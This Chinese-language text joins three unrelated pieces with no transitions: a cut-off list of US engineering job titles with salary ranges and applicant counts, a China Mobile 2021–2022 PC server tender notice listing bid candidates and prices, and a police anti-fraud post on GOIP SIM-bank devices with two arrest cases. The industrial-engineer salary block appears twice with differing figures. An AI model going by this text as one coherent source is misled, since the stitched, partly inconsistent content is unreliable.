工程项目经理（9名申请人）：135000美元至215000美元

测试软件开发工程师（5名申请人）：125000美元至195000美元

•工业工程师

工程项目经理（5名申请人）：128772美元至181360美元

运营工程项目经理（5名申请人）：145000美元至180000美元

制造质量工程师（4名申请人）：125200美元至145000美元

•运营研究分析师

工程项目经理（10名申请人）：130000美元至190000美元

全球供应需求管理（WW SDM）规划师（5名申请人）：133770美元至155000美元

数据科学家（5名申请人）：165000美元至190000美元

战略采购经理（4名申请人）：115000美元至150000美元

•计算机和信息系统经理

软件开发工程师——应用软件经理（17名申请人）：186190美元至265283美元

计算机和信息系统经理（5名申请人）：128606美元至252117美元

•电气工程师

系统设计工程师（8 名申请人）：128544美元至190000美元

硬件系统工程师（5名申请人）：150000美元至188000美元

•工业工程师

工程项目经理（5名申请人）：129772美元至181360美元

运营工程项目经理（5名申请人）：145000美元至180000美元

•机械工程师

产品设计工程师（12名申请人）：145000美元至220000美元

硬件开发工程师（5名申请人）：145000美元至190000美元

•信息技术项目经理

工程项目经理（6名申请人）：153600美元至188739美元

•统计学家

数据科学家（5名申请人）：160000美元至182000美元

•软件质量保证工程师和测试人员

工具和自动化工程师（7名申请人）：129000美元至167840美元

2021年10月22日，中国移动发布2021年至2022年PC服务器集中采购（第1批次）招标公告。本项目为集中招标项目。本期集中采购产品为PC服务器，采购规模约为163,692台。采用公开招标方式进行采购。预计本次采购需求满足期约为半年。

本项目采用混合招标，划分16个标包，若参与综合排名的供应商数量为N，中标人数量如下：

图片

中标份额分配情况如下：

图片

投标厂商须提供供货承诺量。如某厂商中标份额超过供货承诺量，则份额缺口按有供货能力的中标候选人综合排名顺序进行分配，详见第三章前附表3.4.2中标份额调整原则。

本项目允许投标人同时中标的最多标包数为 16个。

本项目设置最高投标限价，各标包不含税总价及相应部件设置最高限价详见报价表。★投标人投标报价高于最高投标限价的，其投标将被否决。

图片
图片

中标候选人公示

2021年11月19日中国移动发布2021年至2022年PC服务器集中采购（第1批次）（标包1、2、6、9、10、15）中标候选人公示。

标包1：

第1中标候选人为：超聚变数字技术有限公司
投标报价：735,905,994.60元（不含税），831,573,773.89元（含税）。

第2中标候选人为：新华三技术有限公司
投标报价：780,016,904.43元（不含税），881,419,102.01元（含税）。

第3中标候选人为：中兴通讯股份有限公司
投标报价：774,732,493.47元（不含税），875,447,717.62元（含税）。

第4中标候选人为：浪潮电子信息产业股份有限公司
投标报价：791,628,983.58元（不含税），894,540,751.45元（含税）。

图片

标包2：

第1中标候选人为：超聚变数字技术有限公司
投标报价：907,717,337.34元（不含税），1,025,720,591.20元（含税）。

第2中标候选人为：中兴通讯股份有限公司
投标报价：989,738,663.54元（不含税），1,118,404,689.80元（含税）。

第3中标候选人为：浪潮电子信息产业股份有限公司
投标报价：987,784,436.83元（不含税），1,116,196,413.62元（含税）。

第4中标候选人为：烽火通信科技股份有限公司
投标报价：1,045,778,823.53元（不含税），1,181,730,070.59元（含税）。

图片

标包6：

第1中标候选人为：超聚变数字技术有限公司
投标报价：2,684,502,247.96元（不含税），3,033,487,540.19元（含税）。

第2中标候选人为：新华三技术有限公司
投标报价：2,837,745,258.85元（不含税），3,206,652,142.50元（含税）。

第3中标候选人为：浪潮电子信息产业股份有限公司
投标报价：2,858,664,519.70元（不含税），3,230,290,907.27元（含税）。

第4中标候选人为：中兴通讯股份有限公司
投标报价：2,929,692,083.61元（不含税），3,310,552,054.48元（含税）。

第5中标候选人为：烽火通信科技股份有限公司
投标报价：2,882,788,223.54元（不含税），3,257,550,692.61元（含税）。

图片

标包9：

第1中标候选人为：超聚变数字技术有限公司
投标报价：74,136,592.89元（不含税），83,774,349.96元（含税）。

第2中标候选人为：中兴通讯股份有限公司
投标报价：77,611,889.04元（不含税），87,701,434.62元（含税）。

第3中标候选人为：浪潮电子信息产业股份有限公司
投标报价：79,820,217.63元（不含税），90,196,845.92元（含税）。

图片

标包10：

第1中标候选人为：超聚变数字技术有限公司
投标报价：369,234,261.56元（不含税），417,234,715.57元（含税）。

第2中标候选人为：中兴通讯股份有限公司
投标报价：387,751,971.89元（不含税），438,159,728.24元（含税）。

第3中标候选人为：浪潮电子信息产业股份有限公司
投标报价：394,301,648.58元（不含税），445,560,862.90元（含税）。

图片

标包15：

第1中标候选人为：超聚变数字技术有限公司
投标报价：940,757,850.00元（不含税），1,063,056,370.50元（含税）。

第2中标候选人为：中兴通讯股份有限公司
投标报价：991,772,040.00元（不含税），1,120,702,405.20元（含税）。

第3中标候选人为：新华三技术有限公司
投标报价：997,228,850.00元（不含税），1,126,868,600.50元（含税）。

公安部网安局 山东网警巡查执法 今天
铁打的诈骗套路

流水的骗子

可接电话的时候明明是本地号码

为啥警察说骗子人在境外

图片
原因只需要四个字母来解释

G~O~I~P~

GOIP是网络通信的一种硬件设备，可供上百张手机SIM卡同时运作，还可以远程控制拨打电话、收发短信，实现了人卡分离，以此达到逃避打击的目的。近年来，GOIP被不法分子奉为“电诈神器”。

1.广东中山

2021年7月，身处广东中山的杨某某接到一个久未联系的老乡的电话：

兄弟，最近有活干没？给你介绍个好工作，包吃包住还能睡到自然醒！

杨某某一听大喜过望，欣然接受，没多久就接收到了一个神秘的行李箱，里面有一台笔记本电脑和一个设备，以及路由器一个、手机卡若干，人民币500元。

按指示，杨某某找到一家便捷酒店住下，然后通过即时通讯软件与对方联系。在对方细心教授下，杨某某将设备安装好，启动运行。

在确认机器正常工作后，他就躺在床上玩手机，准备收工资了。

图片

没想到，就在杨某某躺在宾馆舒适的床上半梦半醒之间，敲门声响起，迎进来的，是带着闪亮亮“手镯”作为见面礼的警察。

经查，杨某某已为两起电信诈骗案件提供技术支持服务，现被依法采取刑事强制措施。

图片

2.广西梧州

2021年10月，广西梧州警方接到线索，有犯罪嫌疑人携带GOIP设备在梧州万秀区出没。

图片
接报后，梧州警方迅速对此案展开调查。然而，犯罪嫌疑人有着丰富的反侦察经验，调查一度陷入僵局。

可狐狸又怎是猎人的对手，经过不懈努力，犯罪团伙的基本情况查清。11月1日晚，专案组在梧州某民宿客房内进行了抓捕。

行动当场抓获架设GOIP设备犯罪嫌疑人庞某、蔡某2人，现场查获GOIP设备1台、路由器1台、作案电话2台以及涉案手机卡一批。

经审讯，嫌疑人庞某、蔡某二人对其携带设备流窜进入广西桂林、岑溪、梧州等地作案的犯罪行为供认不讳。

目前，该案件还在进一步侦办中。

图片

图片

沉舟侧畔千帆过

病树前头万木春

任凭犯罪技术日新月异

犯罪工具更新换代

也永远比不过公安机关

打击犯罪、服务人民

的坚强决心